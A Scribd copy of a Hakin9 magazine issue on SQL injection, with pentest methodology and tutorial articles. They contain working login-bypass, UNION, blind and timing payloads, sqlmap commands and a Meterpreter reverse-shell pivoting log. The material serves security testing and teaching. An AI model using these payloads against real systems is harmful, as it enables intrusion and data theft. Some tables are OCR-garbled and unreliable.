[go: up one dir, main page]

0% found this document useful (0 votes)
12 views41 pages

SQL Injection

The first issue of Hakin9 On Demand features articles focused on SQL, including discussions on SQL injection vulnerabilities and prevention techniques. The magazine encourages reader contributions for future topics and highlights the importance of proper testing methodologies to identify SQL injection risks. Various articles provide insights into different types of SQL injection attacks and their implications for information security.

Uploaded by

donamr93
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
12 views41 pages

SQL Injection

The first issue of Hakin9 On Demand features articles focused on SQL, including discussions on SQL injection vulnerabilities and prevention techniques. The magazine encourages reader contributions for future topics and highlights the importance of proper testing methodologies to identify SQL injection risks. Various articles provide insights into different types of SQL injection attacks and their implications for information security.

Uploaded by

donamr93
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 41

EDITOR’S NOTE

01/2012 (01)

Dear Readers,
We are giving into your hands the first issue of Hakin9 On Deman. We
hope you will enjoy it. In this type of Hakin9 we would like to collect for
you some special articles and put them together. What is important is
team
that our readers create this magazine. Yes! Indeed. If you have some
Editor in Chief: Grzegorz Tabaka
ideas what topic should be presented in the next issue, please do not
grzegorz.tabaka@hakin9.org hesitate to write to us and share with it.
Managing Editor: Monika Łęczycka
In this particular issue you will find lots of interesting information
monika.leczycka@software.com.pl about SQL. The authors who prepared those amazing, absorbing
Editorial Advisory Board: Board: Rebecca Wynn, articles for this issue are very experienced, resourceful, are experts
Mat Jonkman, Donald Iverson, Michael Munt, Gary S. Milefsky, and should be proud of themselves. We are sure that you will enjoy
Julian Evans, Aby Rao
reading.
DTP: Ireneusz Pogroszewski In the first issue Of Hakin9 On Demand you can read few articles
Art Director: Ireneusz Pogroszewski about SQL. One of them is written by Dmitry Evteev. The article shows
ireneusz.pogroszewski@hakin9.org how endangered we are in our world when it comes to the information
Proofreaders: Nick Baronian, Dan Dieterle, Bob Folden, Kelly systems. This article tells you what is classic SQL Injection, Blind SQL
Kohl, Michael Munt, Aby Rao, Jeffrey Smith Injection, Error-Based Blind SQL Injection, Double Blindness.
Top Betatesters: Keith Applegarth, Hammad Arshed, Ayo Tayo- The second article is written by Michael Thumann, Frank Block,
Balogun, Manuel Boros, Amit Chugh, Dan Dieterle, Gregory Timo Schmid. It concers the concept of SQL Injection in Business
Gallaway, M.Younas Iran, David Jardim, Michal Jachim, Eder
Lira, Roh MacPherson, Matteo Massaro, Rissone Ruggero, Purposes. By reading it, you can find out how SQL Injection is detected,
Antonio Saporita, Daniel Sligar, Jeffrey Smith, Arnoud Tijssen, how to take care of database, how exploit SQL Injection and get around
Tom Updegrove, Dan Walsh, Robert Wood, David von Vistauxx
Web Application Firewalls.
Special Thanks to the Beta testers and Proofreaders who helped In the article written by Srinivasa Rao SQL Queries, exploiting
us with this issue. Without their assistance there would not be a
Hakin9 On Demand magazine. MySQL databases, prevention techniques and many other details are
included. Do you know that the attacker can inject some queries that
Senior Consultant/Publisher: Paweł Marciniak
the database server responds to him and gives whatever he wants?
CEO: Ewa Dudzic
You may find out by reading it.
ewa.dudzic@hakin9.org
Moreover in this issue you will find article with the title SQL Injection:
Production Director: Andrzej Kuca
A Case Study. The authors of it – Stephen Bono and Ersin Domangue
andrzej.kuca@hakin9.org
show how the attack is planned, bypassing the Log on, fingerprinting
Publisher: Software Press Sp. z o.o. SK
the SQL server and more. This is essential reading because it shows
02-682 Warszawa, ul. Bokserska 1 the mitigation, security practices which are very helpful.
Phone: 1 917 338 3631
www.hakin9.org/en
From those articles you can find out what SQL Injection is and how
danger it is. Do not hesitate to read them. You will find explanation for
many important things.
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage. Do not hesitate! Check the new idea of Hackin9 right now.
All trade marks presented in the magazine were used only for
informative purposes.

Enjoy the reading!


All rights to trade marks presented in the magazine are
reserved by the companies which own them.
To create graphs and diagrams we used program
Monika Łęczycka
by
and Hakin9 Team

Mathematical formulas created by Design Science MathType™

DISCLAIMER!
The techniques described in our articles may only
be used in private, local networks. The editors
hold no responsibility for misuse of the presented
techniques or consequent data loss.

4 01/2012
CONTENTS

SQL Injection Testing for Business 06 SQL Injection: A Case Study 30


Purposes by Stephen C. Bono and Ersin Domangue
by Michael Thumann, Frank Block, Timo Schmid SQL injection and associated vulnerabilities are possible
SQL injection attacks have been well known for a long due to three common, yet critical design flaws. Lack of
time and many people think that developers should have input sanitization, unnecessary construction of dynamic
fixed these issues years ago, but having conducted queries, and failure to adhere to the Principle of Least
web application pentests over a long period, we have Privilege. Through our case study, we demonstrate how
a slightly different view. Many SQL injection problems each of these design flaws can lead to information or
potentially remain undetected due to a lack of proper test system compromise. 30-35
methodology, so we would like to share our approach and
experience and help others in identifying these issues. Caffe Latte Attack 36
by David Jardin
SQL Injection 14 By reading this article, you’ll learn: How does WEP work;
by Srinivasa Rao How to Perform a “Caffe Latte” attack; How to protect
This article gives you a deeper idea of how to hack your wireless access point from it.
websites with SQL Injection vulnerability and how to In order to perform the attack, I assume you already have
prevent SQL injection attacks on websites. In this, we will a running Backtrack distribution.
see the manual injection techniques and secure coding N.B: The author’s aim is to share knowledge with readers
practices in order to provide a practical approach of both in order for them to later protect themselves against such
attacks and countermeasures. an attack. The author is not legally responsible for what
the reader could do with said knowledge.
Advanced SQL Incjection in the Real 20
world
by Dmitry Evteev
These days, most information security experts are well
aware of almost all the classes of typical threats and
vulnerabilities of information systems. But so are hackers.
This means that the information system properties, which
an attacker can leverage to harm the system owner
interests, have become common knowledge. Fortunately
enough, quite a few public resources provide practical
techniques for protecting information systems, as well
as separate applications. In the field of web application
security the most prominent communities are OWASP
and WASC.

www.hakin9.org/en 5
SQL INJECTION

SQL Injection
Testing for Business Purposes
SQL injection attacks have been well known for a long time and many
people think that developers should have fixed these issues years ago,
but doing web application pentests almost all the time, we have a
slightly different view. Many SQL injection problems potentially remain
undetected due to a lack of proper test methodology, so we would like
to share our approach and experience and help others in identifying
these issues.

S
QL injection vulnerabilities arise when untrusted helpful for summarizing the important steps to discover
input is incorporated into a SQL query within all SQL injection vulnerabilities within an application.
the source code and they are not limited to web Figure 1 shows a very basic attack tree for uncovering
applications. Every server application that processes SQL injection.
SQL queries can be vulnerable to this kind of attack and
should be tested. SQL injection vulnerabilities can be Detecting SQL Injection
grouped into the following types: As described above, SQL injection vulnerabilities exist
in different types. Each of these types requires different
Error-based SQL injection attack strings and detection mechanisms, and usually
When testing for the vulnerability the server responds a high degree of manual testing for an extensive
with a database error message like “syntax error” detection.
To detect SQL injections, you have to test with some
Blind SQL injection simple signatures like a single apostrophe (‘), two single
During the test the server either doesn’t reveal any apostrophes (‘’), arithmetic expressions or database
error message at all or responds with a customized specific procedures.
standard error message respectively just a change in Error prone vulnerabilities which react with an error
the response behavior like showing another web page. message on a single apostrophe are very simple to
As long as one can notice a different behavior of the detect. The best way to verify a successful injection is
application, we call this “Partially Blind SQL Injection”, in inserting a single apostrophe which leads to an error
case no changes in the response are detected we talk message. Afterwards insert two single apostrophes, if
about “Totally Blind SQL Injection”. the second injection doesn’t return any error messages,
it is very likely that a SQL injection vulnerability was
Client Side SQL injection found. In Oracle databases you would insert for example
SQL injection vulnerabilities are not limited to server “test’” in a search box and you get an error message
applications. Clients that store sensitive data in a local returned. After inserting te’||’st you get all search
database can be vulnerable to SQL injection attacks as results matching for the string test. If the database
well, when untrusted input is processed. Also HTML5 expects that an integer is supplied, apostrophes always
implements concepts for client side databases like result in an invalid query, no matter if they would be
WebSQL (this specification is deprecated) and “Indexed used with string concatenation or not. In such a case
Database API” to work with local databases within the you could use some arithmetic calculations to verify that
web browser. they were evaluated by the database. If the id 47 and
As already mentioned a proper test methodology 58-11 results in the same response, it is very possible
can help to improve the rate of findings, e.g. Bruce that they both produced 47 as a result of a calculation
Schneiers Attack Tree Model [1] comes to mind as by the database.

6 01/2012
SQL Injection Testing for Business Purposes

In Blind SQL injections you could use the same over HTTP with the server, URL encoded strings can
techniques, but you won’t get any error messages be helpful. Try %27 instead of “’ “or several iterations like
telling you what happened on the database. Instead you %2527, %252527, .. (%25 is the URL encoded value of the
may have to use boolean expressions to manipulate the percent sign). Especially on numeric comparisons you
results. For example inserting a “’ OR ‘’=’” should lead could use the lower or greater sign instead of the equal
to a result, whereas “’ AND ‘x’=’” doesn’t return anything sign. An “OR 4<8” should also be evaluated to true like
(or only a very short response like no datasets found). the standard signatures “OR 1=1” (which sometimes is
Because Totally Blind SQL injections normally wouldn’t filtered).
affect the response in any way, you have to detect them Choosing the right tool chain is crucial for detecting
by measuring the response time depending on the test and exploiting SQL injections. For example the basic
signature. On Oracle databases a request with ’||utl_ requirement for all injections is the complete control
http.request(‘http://192.168.66.77/’)||’ should take over the input values. A fat client or Ajax application
much more time to return as “’||’”. If the response time which is communicating with a server may have some
is nearly the same, you should try other IP addresses validation mechanisms, but the server itself accepts
or hostnames. A MySQL database supports a SLEEP all input strings. In such a case it’s important to send
command since version 5.0.12. If a you have to wait the requests using a proxy or something similar,
for a response 20 seconds after you had injected which allows to send every modified value. One of
’ UNION SELECT SLEEP(20)-- you would automatically know the more powerful tools is the BurpSuite web proxy
that you have found a vulnerability and that the used from Portswigger [2]. The BurpSuite acts as a proxy
database is a MySQL database with version 5.0.12 or between the web browser and the web server, logging
higher. all requests and responses. In addition to an automated
Some times you will notice that the application (or scanner it includes a repeater and a kind of automated
some intermediate component) filters for characters repeater (called intruder). With the repeater you are
like an apostrophe or an equal sign. In such a case able to send any inputs without restrictions on the client
you should try different encodings and combinations of side. The intruder allows to iterate over multiple attack
encodings to bypass such filtering. If you communicate strings and compare the results.

Figure 1. A basic Attack Tree

www.hakin9.org/en 7
SQL INJECTION

In general every tool can be used which does not Respectively, Oracle supports an HTTP request
prevent you from sending malicious data. Automated function, which is expected to generate an delay if
tools like scanners or injection frameworks like sqlmap pointed to a non existing URL:
or sqlninja can help to find so called low hanging fruits,
but they will never provide the same results as extensive utl_http.request(‘http://192.168.66.77/’)
manual testing.
Alternatively, the following function may be useful:
Take Care of the Database
There are some database specifics, every pentester DBMS_LOCK.SLEEP(5)
should be aware of, when testing for and exploiting
SQLi vulnerabilities. Besides the different string Using database specific test and exploit signatures will
concatenation variants already covered above, there also help to identify the used database, which makes
are some other specifics that have to be considered all further tests much easier.
and might turn out useful in some circumstances. Another important difference is the missing MS-SQL
For example with Oracle Databases, every SELECT xp_cmdshell on other DBMSs. However, there were
statement needs a following FROM statement even some talks in the past (e.g. at Black Hat Europe 2009
if the desired data is not stored within a database. So by Bernardo Damele A. G. the author of sqlmap) about
when trying to extract e.g. the DB username using an the possibility to execute code with MySQL respectively
UNION SELECT statement, the DUAL table may be PostgreSQL under certain circumstances (sqlmap
utilized, which should always be available. Another supports upload and execution of Metasploit shellcode
point, if dealing with MySQL, is the possibility to for MySQL and PostgreSQL). The Table 1 summarizes
simplify the classic payload useful SQL functions.

‘ or 1=1 -- How to Exploit SQL Injection


After identifying vulnerable parameters it is time for
to exploitation. There are some basic techniques for this task,
which will be explained in the context of an Oracle DB.
‘ or 1 -- As for data extraction one of the most useful
statements is UNION SELECT.
One important difference regarding totally-blind However, the UNION SELECT approach doesn’t
SQLi are the different ways for an equivalent MS- work in all situations. If, for example, injecting right after
SQL “waitfor delay” in other database management the select statement (e.g. SELECT $INPUT_COLUMN_NAME FROM
systems. tablename;) and not after a WHERE clause, trying to extract
For MySQL (before 5.0.42), the benchmark function data with UNION SELECT leads most likely to an SQL
may be used. E.g.: error if you are unaware of the exact query. In this simple
but sometimes occurring scenario, one solution would be
benchmark(3000000,MD5(1)) the use of subselects. The advantage of subselects are
the fact, that in many cases it is not necessary to know
For later versions: anything about the surrounding query. So supplying

sleep(5) (SELECT user FROM DUAL)


Table 1. Comparison Table
type MS SQL Oracle MySQL
String concat + || CONCAT
timing WAIT FOR DELAY DBMS_LOCK.SLEEP SLEEP
version SELECT @@version SELECT banner FROM v$version SELECT VERSION()
db user SELECT suser_name() SELECT Sys.login_user FROM dual SELECT USER()
db name SELECT db_name() SELECT SYS_CONtEXT('USER_ENV','DB_ SELECT database()
NAME')FROM dual
column table information_schema.colums all_tab_columns information_schema.columns
operating with os xp_cmdshell load_�le
substring SUBSTRING SUBSTR SUBSTRING
ascii value ASCII ASCII ASCII

8 01/2012
SQL Injection Testing for Business Purposes

the SQL query doesn’t get broken and ideally prints If dealing with a MySQL database, using the previously
the desired information. However if the payload is mentioned attack string might also (and did already in
injected into a string, the previously covered string practice) help to deceive some filters:
concatenation gets useful. So with a similar query, the
attack string could look like: ‘ or 1 --

‘|| (SELECT user FROM DUAL) ||’ It is also very likely, that one single quote doesn’t
cause any reaction, as of false positive prevention. If
The previous examples depend on any form of it does, the following variation could also help to get
results from the application. In case the application through the WAF:
doesn’t print any results of the SQL query, it may
still be possible to gather database information if the abc’def
application behavior can be influenced.
Given a registration form, where the supplied In general, using short test strings (and some
username gets checked for existence in the database, brainpower) might help to not trigger any filtering rules.
the used SQL query might look like: If unsure whether a WAF is in place or not, it
is advisable to first verify its existence with some
SELECT username FROM users WHERE username = ‘$NEW_ fingerprinting tools. One of them is wafw00f [3] which
USERNAME’; supports many different vendors. Another tool is
tsakwaf [4], which supports less vendors but includes
This kind of vulnerability is a boolean-based blind additional features for WAF circumvention like encoding
SQLi. It is not possible to print any SQL query results, capabilities for test signatures, that might be useful for
but the application logic can be exploited. So the SQL injection testing, when a WAF is in place.
payload in this case might be:
Extract the data
‘|| (SELECT CASE WHEN (SELECT ‘abcd’ FROM DUAL) = If you want to extract some data from a database
‘abcd’ THEN ‘new_username’ else ‘EXISTING_USERNAME’ END you first need to gather knowledge about the internal
FROM DUAL)||’ structure of the database.
One of the first steps (after determining the database
Or in pseudo code: type) is enumerating the available tables and the
corresponding columns. Most database systems
If abcd equals abcd have a meta database called information_schema. By
return new_username querying this database it is possible to get information
else about the internal structure of the installed databases.
return EXISTING_USERNAME For example you could get the tables and their
corresponding columns in MS SQL and MySQL by
Obviously this payload does not provide any useful injecting SELECT table_name, column_name FROM information_
information by now, but it illustrates the possibility schema.columns. Oracle databases have their own meta
to make boolean checks on strings which will be tables, so you have to handle them differently. For
helpful later on during/for extracting real data from the getting the same output in Oracle, you have to query
database. the all_tab_columns table (or user_tab_columns if you only
want to search in the currently selected database). If the
How to get around Web Application Firewalls found vulnerability only allows to receive a single column
In some situations, the application might filter specific (or if it is too complicated to identify two columns in the
attack strings or a Web Application Firewall (WAF) is server response) you could concatenate the columns
deployed in front of the webservers/applications. In to one single string, e.g. in Oracle: SELECT table_name||’:
these cases, being creative is essential. For example, ’||column_name FROM all_tab_columns.
instead of injecting A much more frequent problem you have to deal with
is that only the first row of a result-set is returned. To
‘ or ‘a’=’a get all table and column names you have to iterate over
the results. It is helpful to determine the expected row
we already circumvented a WAF by supplying a slightly count first by injecting a SELECT COUNT(column_name) FROM
modified version of this payload: all_tab_columns. Iterating over the results in MySQL is
simple: SELECT table_name, column_name FROM information_
‘ or ‘a=’=’a= schema.columns LIMIT $start,1 (where $start denotes the

www.hakin9.org/en 9
SQL INJECTION

current offset in the result-set). MS SQL doesn’t support a binary search with the procedures ASCII and
to specify ranges for the results. This is why you have SUBSTR.
to combine several select statements to get the same For example on Oracle databases you would
result: “SELECT TOP 1 table_name, column_name FROM (SELECT get the first character of an username by injecting
TOP $start table_name, column_name FROM information_ ASCII(SUBSTR(username, 1,1)) into the where clause.
schema.columns ORDER BY table_name DESC) ORDER BY table_ To do a binary search on ‘Admin’ you would do
name ASC(where $start denotes the row number you want ASCII(SUBSTR(username, 1, 1)) < 128 which results in true.
to extract). The next value to compare with is 64 (which is right in
If you are confronted with a large database, it is the middle of 0 and 128). This time the query would fail
always easier to search for interesting column names because the ascii value of ‘A’ is 65. Now you compare
instead of tables. So you can combine the mentioned with 96 (the middle of 64 and 128) and so on, until
query statements with where clauses to search for you reach 65. After that you will treat the remaining
columns which contain ‘pass’ or ‘user’. characters in the same way.
If the found vulnerability is a blind or totally blind The following excerpt is an output from sqlninja
SQL injection, you have to use boolean expressions (which will be covered again later on), which uses this
to extract some data. One approach is getting the technique in an automated way on a totally-blind SQLi
database username (or any other data) by doing vulnerability: Listing 1.

Listing 1. Excerpt vulnerable to a totally-blind SQLi

[ ... ]
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 55 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 67 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 73 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 76 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 77 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------
Here he found the first character: N

and now continues with the second:


++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),2,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------
[ ... ]

10 01/2012
SQL Injection Testing for Business Purposes

Essential Tools essential. There are various tools that may help
As the manual extraction of data can be quite time identifying and exploiting SQLi vulnerabilities. One of
consuming, the usage of automated tools becomes them is sqlmap[5], which concentrates on blind SQL

Listing 2. Meterpreter in action

[+] Transfering control to msfcli. Have fun!


[*] Please wait while we load the module tree...
# cowsay++
________
<metasploit>
….................
\ ,__,
\ ( 00 )_____
(___) ) \
|| - - || *

=[ metasploit v4.2.0.8-dev [core:4.2 api: 1.0]


+ - - - - =[ 800 exploits - 435 auxiliary - 133 post
+ - - - - =[ 246 playloads - 27 encoders - 133 post - 8 nops
=[ svn r14714 updated 5 days ago (2012.02.11)

playload => windows/meterpreter/reverse_tcp


\port => 12345
\host => 172.16.141.1
[*] Started reverse handler on 172.16.141.1:12345
[*] Starting the playload handler …
[*] Sending stage (752128 bytes) to 172.15.141.128
[*] Meterpreter session 1 opened (172.16.141.1:12345 -> 172.15.141.128:1040)

meterpreter > run get local subnets


local subnet: 172.16.60.0/255.255.255.0
local subnet: 172.16.141.0/255.255.255.0
meterpreter > background
[*] Backgrouding session 1…
msf exploit (handler) > route add 172.16.60.0 255.255.255.0 1
[*] Route added
msf exploit (handler) > route print

Active Routing Table


===============

Subnet Netmask Gateway


. . . . . . . . . . . . . . . . . . . . . .
172.16.60.0 255.255.255.0 Session 1

msf exploit (handler) > use auxiliary/scanner/portscan/tcp


msf auxiliary (tcp) > set RHOSTS 172.16.60.135
RHOSTS => 172.16.60.135
msf auxiliary (tcp) > run

[*] 172.16.60.135:135 – TCP OPEN


[*] 172.16.60.135:139 – TCP OPEN

www.hakin9.org/en 11
SQL INJECTION

Table 2. CWSS Metric Groups The next command enumerates all available table
Metric Group Factors names of the found databases without the need
Base Finding Group • Technical Impact (TI)
to specify the database names as all gathered
• Acquired Privilege (AP) information are stored in a local progress file and
• Acquired Privilege Layer (AL) automatically used for all further attacks:
• Internal Control Effectiveness (IC) (This feature becomes important as soon as the
• Finding Con�dence (FC) amount of already collected data gets vastly large.)
Attack Surface Group • Required Privilege (RP)
• Required Privilege Layer (RL) sqlmap -u “http://172.16.141.128/vulnweb/SQLInjection/
• Access Vector (AV)
Login.aspx” --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTC
• Authentication Instances (AI)
• Level of Interaction (IN) vfGeXKasVQXuFgQtgqym\&txtUserName=\&txtPassword=\&Button1
• Deployment Scope (SC) =OK --dbms=mssql --tables -p txtUserName

Environmental Group • Business Impact (BI)


• Likelihood of Discovery (DI) After using the same command but with the --
• Likelihood of Exploit (EX) columns option instead of --tables, enough necessary
• External Control Effectiveness (EC) information were gathered to identify potential
• Remediation Effort (RE) interesting tables of which now data can be extracted
• Prevalence (P)
from. As this process might sometimes last too long,
it is also possible to search for specific column names
injection, it comes with many options and supports a like “password” with the --search option. If however
lot of different Database Servers (amongst them MS- time doesn’t matter or the content is expected to be
SQL, MySQL, Oracle and PostgreSQL) which is one not very large, the --dump-all option may be used to
of the reasons why it is covered in this article. The extract all data contained in all databases.
extraction process is very intuitive and sqlmap tries As SQLi vulnerabilities enable an attacker not only
to identify automatically the sort of SQLi (Blind, totally to extract data, but sometimes also to execute system
blind ...) if not specified, so it is easy to get it up and level commands, it is possible, and most tools offer
running in a few minutes. We are not going into great such an option, to upload and execute binary files like
detail, as this would go beyond the scope, but are e.g. netcat, resulting in an interactive shell with the
showing a few commands which may already suffice to same rights of the SQL server process (in the worst
let sqlmap extract all available data from the database. case root/administrative rights).
Prerequisite for the following scenario is an already Going one step further, sqlmap respectively sqlninja
identified SQLi Vulnerability: (a handy and in some cases less buggier than some
The first command tries to enumerate all available others, but MS-SQL only SQLi tool) are able to use the
databases using the vulnerable parameter txtUserName: exploitation framework Metasploit, which offers various
attack payloads like “Creation of an administrative user”
sqlmap -u “http://172.16.141.128/vulnweb/SQLInjection/ or a “Reverse-TCP shell”.
Login.aspx” --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTC In that way it is for example possible, to upload the
vfGeXKasVQXuFgQtgqym\&txtUserName=\&txtPassword=\&Button1 powerful Meterpreter payload using an existing SQL
=OK --dbms=mssql --dbs -p txtUserName injection vulnerability within a web application. Once
Table 3. CWSS Finding Con�dence
Value Code Weight Description
Proven True T 1.01.2000 The weakness is reachale by the attacker.
Proven LT 0.8 The weakness occurs within an individual function or component whose design relies on
Locally True safe invocation of that function, but attacker reachability to that function is unknown or not
present. For example, a utility function might construct a database query without encoding its
imputs, but if it is only called with constant strings, the �nding is locally true.
Proven False F 0.0 The �nding is erroneous(i.e. The �nding is a false positive and there is no weakness), and/or
there is no possible attacker role.
Default D 0.8- Median of the weights for Proven true, Proven Locally True, and Proven False.
Unknown Unk 0.5
Not NA 1.01.2000 This factor might not be applicable in an environment with high assurance requirements; the
Applicable user might want to investigate every weakness �nding of interest, regardless of con�dence.
Quanti�ed Q This factor could be quanti�ed with custom weights. Some code analysis tools have precise
measurements of the accuracy of speci�c detection patterns.

12 01/2012
SQL Injection Testing for Business Purposes

References
• Schneier, Bruce (December 1999). „Attack Trees” . Dr Dobb’s Journal, v.24, n.12. [1]
• BurpSuite Pro, http://www.portswigger.net/ [2]
• The Truth about Web Application Firewalls, http://troopers09.org/content/e644/e649/TROOPERS09_gauci_henrique_web_ap-
plication_�rewalls.pdf [3]
• Tsakwaf, http://www.insinuator.net/2011/09/tsakwaf-0-9-1-released/ [4]
• Sqlmap, http://sqlmap.sourceforge.net [5]
• Common Weakness Scoring System, MITRE Corporation, http://cwe.mitre.org/cwss/ [6]
• SQL Injection Attacks and Defense, Syngress, ISBN-13: 978-1597494243 [7]
• The Web Application Hacker’s Handbook 2nd Edition, Wiley, ISBN-13: 978-1118026472 [8]

started, Meterpreter enables system level access a weakness is scored, the higher is the associated
and can be used (depending on the rights of the criticality. Regarding the formula and the used factors
database server process respectively the patch status and weights, the CWSS allows a precise, comparable,
of the underlying system) to extract system level data and reproducible rating of vulnerabilities in the context
and utilize the database server as a jump host to an of web application pentests. The rating will also help the
internal network or to exploit a local privilege escalation application owner to prioritize the findings and use the
vulnerability to gain administrative rights (Listing 2). limited resources for the most critical issues.
An attacker uses an existing SQL injection vulnerability
to upload and execute the meterpreter payload, then Conclusion
added a route entry within metasploit, making the Bringing the mentioned steps of the methodology
internal network of the SQL server accessible through together, you can follow a small checklist to identify
the meterpreter session and is now able to scan and all SQL injection issues in an application and help
attack systems behind the server, which would normally the application owner to mitigate the most severe
be not reachable from the attacker side. problems. But every shortening of the test steps will
have a negative influence on your success rate and the
Rating of the �ndings acceptance of the results:
After doing all the testing stuff, there’s one important step
missing, at least if we are talking about a professional • Identify all input vectors
pentest. The criticality rating of findings is a mandatory • Test all input vector with a set of test signatures
task in the course of a pentest. On the one hand, the • Identify the database
comparative value of the rating must be guaranteed, on • Exploit the SQL injection vulnerability to proof the
the other hand, the rating must be appropriate for the existence and avoid any discussions
environment which is in scope of the pentest. Based • Rate the criticality of the findings based on a metric
on these requirements, we propose the Common
Weakness Scoring System [6] as an appropriate metric We are using this methodology since years and
for the rating of web application related security findings receive a lot of positive feedback from our customers.
like SQL injection. Writing about SQL injection in an article obviously
The design considerations of CWSS include the can’t cover all relevant details, so we would like to
applicability for scoring processes as well as the recommend two books, that contain more useful
integration of stakeholder concerns or environmental information and are “must reads”, if you want to work
requirements. These considerations result in the seriously in the field of web application pentesting. The
definition of three different metric groups which each first book [7] covers all aspects of SQL injection and the
contain different factors: Table 2. second one [8] is the “web hacking bible” written by the
Different entities may evaluate separate factors author of the BurpSuite.
at different points in time. As such, every CWSS
factor effectively has “environmental” or “temporal”
characteristics. Different pre-defined values can be
assigned to each factor and each factor also has a
default value. The different values for the single factors
are explained in detail in Table 3. CWSS uses also a
reliability factor, so the factor Finding Confidence is
explained as an example . MICHAEL THUMANN, FRANK BLOCK,
All factors will be combined using a formula, which
results in a value between 0 and 100. The higher TIMO SCHMID, ERNW GMBH

www.hakin9.org/en 13
SQL INJECTION

SQL Injection

This article gives you a deeper idea of how to hack websites with SQL
Injection vulnerability and how to prevent SQL injection attacks on
websites. In this, we will see the manual injection techniques and secure
coding practices in order to provide a practical approach of both attacks
and countermeasures.

S
QL injection is a code injection technique SQL Queries
that exploits a security vulnerability occurring A SQL query allows a user to interact with the database.
in the database layer of an application. The Several things can be done using SQL Queries.
vulnerability is present when user input is either A Sample SQL Query:
incorrectly filtered for string literal escape characters
embedded in SQL statements or user input is not SELECT * FROM users
strongly typed and thereby unexpectedly executed. WHERE username = $_GET [‘username’]
In simple words, an attacker can inject some queries AND password = $_GET [‘password’]
in such a way that the database server responds to him
and gives whatever he wants. This query tells the database to find rows in the users
table where the values in the username and password
Web application Architecture columns equal the values entered by the user.
A website receives an input from the user and produces
the response as output. It can be logging you in to your SELECT * FROM users
account or it may show us an “invalid input” message if
you are on a login form. A server is a place for storing This piece tells the database to find the rows in the table
information. A server contains one or more databases users. * represents all the columns in the table (Figure 2).
which produces the data dynamically (Figure 1).
Exploiting Databases with Simple SQL
Injection
The following is the vulnerable piece of code which
allows an attacker to insert his malicious SQL strings to
gain access to the website.

Figure 2. Vulnerable piece of code may allow attacker to gain


Figure 1. A server contains one or more databases access to the website

14 01/2012
SQL Injection

SELECT * FROM users WHERE username=’admin’ Finding the Number of Columns


AND password=’password’; To find out the number of columns, we use the statement
order by x.
The above query will check whether the two input It tells the database to sort out the results based
fields username and password returning true value or on the specified column x. Represents the end of the
not. So an attacker can make use of it just by passing query.
some specially crafted strings that bluffs the database.
The following query is a small example of it. http://www.site.com/gallery.php?id=3 order by 1-- ? No Error
http://www.site.com/gallery.php?id=3 order by 2-- ? No Error
SELECT * FROM users WHERE username=’admin’;-- http://www.site.com/gallery.php?id=3 order by 3-- ? No Error
and password=’password’; http://www.site.com/gallery.php?id=3 order by 4-- ? No Error
http://www.site.com/gallery.php?id=3 order by 5-- ? Error
The query checks whether the username is admin or
not and leaves the password field without verifying for At order by 5, if we get a message something like
the input. “Unknown column 5 in order clause”, it means that it
- represents the end of the sql query. So the database has 4 columns and we got error at 5th column.
thikns that the Query has been ended. If we see some numbers on the screen, it means
So the following query will be executed. UNION works.

SELECT * FROM users WHERE username=’admin’; Checking for UNION function


The next step is to check for union function. It takes
Most of the time the following string enables an on or more select statements and returns as a single
attacker to get into the site. result.

x’ or ‘x’=’x http://www.site.com/gallery.php?id=3 UNION SELECT 1,2,3,4--

When we insert the above string in username and We already know that the number of columns is 4.
password fields, the query becomes as follows and
returns true from both the fields which takes the user Checking for MySQL version
inside. Depending on the results we got in the previous step, we
will move further. Let us assume that it has displayed 3
SELECT * FROM users WHERE username=’x or ‘x’=’x’ on the screen. So to find out the version, we will replace
and password=’x’ or ‘x’=’x’; the number 3 with version() or @@version.

Exploiting MySQL databases with Advanced SQL http://www.site.com/gallery.php?id=3


Injection UNION SELECT 1,2,@@version,4—
SQL injection attacks are being increased and it is the
most popular web application vulnerability now a days. In this case, if we get any error like union + illegal mix
It is very easy to exploit. of collations (IMPLICIT + COERCIBLE), we need a
convert() function.
Checking for vulnerability
Lets us say we have a vulnerable website as follows http://www.site.com/gallery.php?id=3 union all
http://www.site.com/gallery.php?id=3. To test for the select 1,2,unhex(hex(@@version)),4--
vulnerability, we add single quote to it http://www.site.com/
gallery.php?id=3’. Version plays an important role in the attack. If
If any data is missing from the page or if it gives MySQL version is less than 5, then attack is a bit
an error like the following, then it is vulnerable. This difficult. Because, we need to guess the table names
means the site has a SQL Injection vulnerability and it is and column names. If it is greater than 5 it will be
accepting SQL Queries through its browser (Figure 3). easier.

Figure 3. The site with the SQL Injection

www.hakin9.org/en 15
SQL INJECTION

FOR MySQL < 5 This may not work sometimes if MAGIC QUOTES
In this case, we need to guess the table names and column is ON. It means admins won’t allow us to access
names. Common table names are: admin,login,user,users the table names directly by filtering the quotes.
,member,members Common column names are: userid,us So, we need to use the ta blename in HEX
ername,password,pwd,pass etc. So our query looks like format.
We can convert our clear text strings into HEX
http://www.site.com/gallery.php?id=3 union all format from this site http://www.swingnote.com/tools/
select 1,2,3,4 from admin— texttohex.php.
